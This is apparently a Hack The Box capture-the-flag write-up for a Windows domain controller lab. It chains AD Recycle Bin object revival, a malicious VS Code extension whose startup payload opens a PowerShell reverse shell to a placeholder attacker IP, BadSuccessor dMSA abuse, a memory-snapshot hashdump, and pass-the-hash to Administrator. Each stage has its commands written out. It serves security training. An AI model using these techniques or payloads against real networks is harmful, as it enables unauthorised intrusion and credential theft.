HACK THE BOX · PENETRATION TEST REPORT



CHECKPOINT

AD Recycle Bin to Root — Supply Chain and Memory Forensics

★★☆☆ MEDIUM

8	1	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance

03 Enumerating alex.turner's Rights

04 Reviving mark.davies (AD Recycle Bin)

05 Supply-Chain RCE via a Malicious Extension

06 ryan.brooks to svc_deploy (BadSuccessor)

07 svc_deploy to Administrator via Memory Forensics

08 Chain Summary and Conclusions

01

Executive Summary

Checkpoint is a Medium-rated Windows Server 2025 Domain Controller. With assumed-breach credentials, the Reanimate-Tombstones right revives a deleted user whose password is reused, granting a writable SMB share. That share auto-installs VS Code extensions, so a malicious `.vsix` gives supply-chain RCE as a developer. BadSuccessor (CVE-2025-53779) abuses a delegated-MSA to steal a service account's hash, which unlocks a VM memory snapshot; a Volatility hashdump then yields the Administrator hash for a pass-the-hash to root.

Attack chain overview

1. Reconnaissance: a standard DC, with the MTU and clock-skew gotchas fixed first.
2. `bloodyAD get writable` surfaces Reanimate-Tombstones and a dMSA create right.
3. Restore the deleted `mark.davies`; password reuse grants a writable share.
4. Malicious `.vsix` auto-installed → RCE as `ryan.brooks` (user flag).
5. BadSuccessor dMSA abuse → `svc_deploy` NT hash.
6. `svc_deploy` reads the VMBackups share; Volatility hashdump → Administrator hash.
7. Pass-the-hash as Administrator → root flag.

02

Reconnaissance

⚠ Pitfall

The VPN path MTU to this box is ~1300, so large Kerberos/SMB packets are silently dropped — set `sudo ip link set dev tun0 mtu 1300` first. The DC clock runs ~7h ahead and RC4 is disabled, so authenticate with the password (produces AES) and keep `faketime` handy.

```
nmap -sC -sV -oN checkpoint_initial.txt <TARGET_IP>
```

```
88/tcp   kerberos-sec  53/tcp domain  389/tcp ldap (checkpoint.htb)  445/tcp smb  5985/tcp WinRM
|_clock-skew: 7h00m04s
```

```
echo "<TARGET_IP> checkpoint.htb dc01.checkpoint.htb DC01" | sudo tee -a /etc/hosts
nxc smb <TARGET_IP> -d checkpoint.htb -u alex.turner -p '<REDACTED>'
```

03

Enumerating alex.turner's Rights

```
bloodyAD --host <TARGET_IP> -d checkpoint.htb -u alex.turner -p '<REDACTED>' get writable
```

● Key observation

Alex holds three unusual rights: **Reanimate-Tombstones** on `CN=Deleted Objects`, **CREATE_CHILD** for dMSA on `OU=Employees`, and **WRITE** on the tombstone of `CN=Mark Davies`. Reanimate-Tombstones lets a non-admin restore deleted AD objects — and a deleted user brought back keeps its old attributes, so a reused password is instantly usable.

04

Reviving mark.davies (AD Recycle Bin)

```
bloodyAD --host <TARGET_IP> -d checkpoint.htb -u alex.turner -p '<REDACTED>' \
  set restore 'CN=Mark Davies\0ADEL:2217e877-...'
nxc smb <TARGET_IP> -u mark.davies -p '<REDACTED>' --shares
```

```
DevDrop     READ,WRITE     (VS Code extensions, engine 1.118.0)
VMBackups   (visible, not yet accessible)
```

05

Supply-Chain RCE via a Malicious Extension

`DevDrop` holds VS Code extensions, and a scheduled `vscodesync.ps1` on the DC auto-installs whatever lands there.

⚠ Vulnerability confirmed

An editor extension is arbitrary code that runs in the context of whoever opens the editor. A writable extension drop processed by an automated install is a supply-chain foothold — a `.vsix` whose `extension.js` fires a PowerShell reverse shell on startup:

```
activationEvents: ["onStartupFinished"]
// payload: powershell -enc <reverse shell to <ATTACKER_IP>:4444>
```

```
smbclient //<TARGET_IP>/DevDrop -U mark.davies%'<REDACTED>' -c 'put dev-utils.vsix'
```

After ~2 minutes the sync script installs it and the shell returns as `ryan.brooks`:

```
whoami
checkpoint\ryan.brooks
type C:\Users\ryan.brooks\Desktop\user.txt
```

USER FLAG

<REDACTED>

06

ryan.brooks to svc_deploy (BadSuccessor)

⚠ CVE-2025-53779 (BadSuccessor)

`ryan.brooks` has `CreateChild` on an OU that permits delegated MSAs. BadSuccessor abuses a delegated-MSA (dMSA) made to "supersede" a target account, inheriting its credentials. From ryan's shell, obtain a Kerberos ticket and run the dMSA attack (SharpSuccessor / evil-dmsa):

```
.\Rubeus.exe tgtdeleg /nowrap          # TGT for ryan, base64
```

```
impacket-ticketConverter ryan.kirbi ryan.ccache
# create the dMSA superseding svc_deploy, then request its ticket/keys
```

This yields the NT hash of `svc_deploy`.

07

svc_deploy to Administrator via Memory Forensics

`svc_deploy` can read the `VMBackups` share. Pass-the-hash and pull the snapshot:

```
smbclient //<TARGET_IP>/VMBackups -U svc_deploy --pw-nt-hash <REDACTED> \
  -c 'get "Windows Server 2019-Snapshot1.vmem"'        # ~2 GB
```

⚠ Vulnerability confirmed

A VM memory snapshot contains the live LSASS secrets. Treating the `.vmem` as a memory image and running a hashdump extracts the local Administrator NT hash offline — no code execution on the DC needed:

```
vol3 -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump
# Administrator :: <REDACTED>
evil-winrm -i <TARGET_IP> -u Administrator -H <REDACTED>
type C:\Users\max.palmer\Desktop\root.txt
```

⚠ **Pitfall**

The root flag is on `max.palmer`'s Desktop, not `Administrator`'s — don't assume the default path.

```
ROOT FLAG
<REDACTED>
```

08

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap + bloodyAD	Reanimate-Tombstones right
2	AD recycle bin	`set restore`	`mark.davies` revived
3	Share access	Password reuse	Writable `DevDrop`
4	Supply-chain RCE	Malicious `.vsix`	Shell as `ryan.brooks` (user)
5	Delegation abuse	BadSuccessor (CVE-2025-53779)	`svc_deploy` NT hash
6	Memory forensics	VMBackups + Volatility	Administrator hash
7	Privilege escalation	Pass-the-hash	Root flag

Closing thoughts

Checkpoint rewards fixing the plumbing before the attack — the MTU black hole and 7h clock skew would silently break Kerberos. The first real question in AD is "what can I write?", and `bloodyAD get writable` surfaced a right most enumeration overlooks. From there every stage is a trust abuse: a revived tombstone is a live account, an editor extension is code execution, and a VM snapshot is LSASS on disk — with the root flag deliberately misplaced on another user's Desktop.

Key takeaways

- Fix the plumbing before the attack — MTU and clock skew first.
- "What can I write?" is the first AD question — `bloodyAD get writable`.
- A revived tombstone is a live account with a reused password.
- An editor extension is code execution; a writable extension drop is supply-chain RCE.
- A VM snapshot is LSASS on disk; the root flag sat on a different user's Desktop.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.